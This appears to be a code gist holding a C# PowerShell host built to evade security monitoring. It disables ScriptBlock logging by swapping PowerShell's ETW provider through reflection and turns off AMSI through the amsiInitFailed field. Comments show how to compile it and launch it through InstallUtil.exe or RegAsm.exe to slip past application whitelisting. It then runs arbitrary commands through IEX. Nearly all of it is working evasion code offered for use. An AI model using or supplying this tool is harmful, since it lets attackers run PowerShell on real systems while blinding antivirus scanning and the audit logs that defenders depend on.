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No Powershell with Transcript Logging Evasion & ScriptBlock Logging Evasion - eventid 4103,4104,4106
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using System; | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Security; | |
using System.Management.Automation.Runspaces; | |
using System.Reflection; | |
namespace TranscriptBypass | |
{ | |
// Compiling with CSC.exe v4.0.30319 or v3.5 | |
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll | |
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:c:\temp\posh.exe C:\temp\posh.cs /reference:System.Management.Automation.dll | |
// Running via InstallUtil.exe | |
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\posh.exe | |
// Compiling with CSC.exe v4.0.30319 or v3.5 for use with regasm.exe | |
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:C:\Temp\posh.dll C:\Temp\posh.cs /reference:System.Management.Automation.dll | |
// C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /target:library /out:c:\temp\posh.dll C:\temp\posh.cs /reference:System.Management.Automation.dll | |
// Running via RegAsm.exe | |
// C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\temp\posh.dll | |
public class Program | |
{ | |
public static Runspace newrunspace; | |
public static void startrunspace() | |
{ | |
newrunspace = RunspaceFactory.CreateRunspace(); | |
newrunspace.Open(); | |
var cmd = new System.Management.Automation.PSVariable("c"); | |
newrunspace.SessionStateProxy.PSVariable.Set(cmd); | |
var output = new System.Management.Automation.PSVariable("o"); | |
newrunspace.SessionStateProxy.PSVariable.Set(output); | |
} | |
public static string InvokeAutomation(string cmd) | |
{ | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(newrunspace); | |
Pipeline pipeline = newrunspace.CreatePipeline(); | |
newrunspace.SessionStateProxy.SetVariable("c", cmd); | |
//disable scriptblock loging using reflection | |
//https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs | |
var psEtwLogProvider = newrunspace.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider"); | |
if (psEtwLogProvider != null) | |
{ | |
var etwProvider = psEtwLogProvider.GetField("etwProvider", BindingFlags.NonPublic | BindingFlags.Static); | |
var eventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid()); | |
etwProvider.SetValue(null, eventProvider); | |
} | |
//disable amsi using reflection | |
//https://twitter.com/mattifestation/status/735261176745988096?lang=en | |
var amsi = newrunspace.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils"); | |
var amsifield = amsi.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static); | |
amsifield.SetValue(null, true); | |
//disable constrained mode | |
//var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy", BindingFlags.NonPublic | BindingFlags.Static); | |
//fi.SetValue(null, SystemEnforcementMode.None); | |
if (cmd == "$a;") | |
{ | |
return ""; | |
} | |
else | |
{ | |
pipeline.Commands.AddScript("$o = IEX $c | Out-String"); | |
} | |
Collection<PSObject> results1 = pipeline.Invoke(); | |
object results2 = newrunspace.SessionStateProxy.GetVariable("o"); | |
return results2.ToString(); | |
} | |
public static void Main() | |
{ | |
try | |
{ | |
startrunspace(); | |
string ps = null; | |
Console.Write("PS>"); | |
while (!String.IsNullOrEmpty(ps = "$a;" + Console.ReadLine().Trim())) | |
{ | |
try | |
{ | |
Console.WriteLine(InvokeAutomation(ps)); | |
} | |
catch (Exception ex) | |
{ | |
Console.Write(ex.Message); | |
} | |
Console.Write("PS>"); | |
} | |
} | |
catch | |
{ | |
Main(); | |
} | |
} | |
} | |
} |
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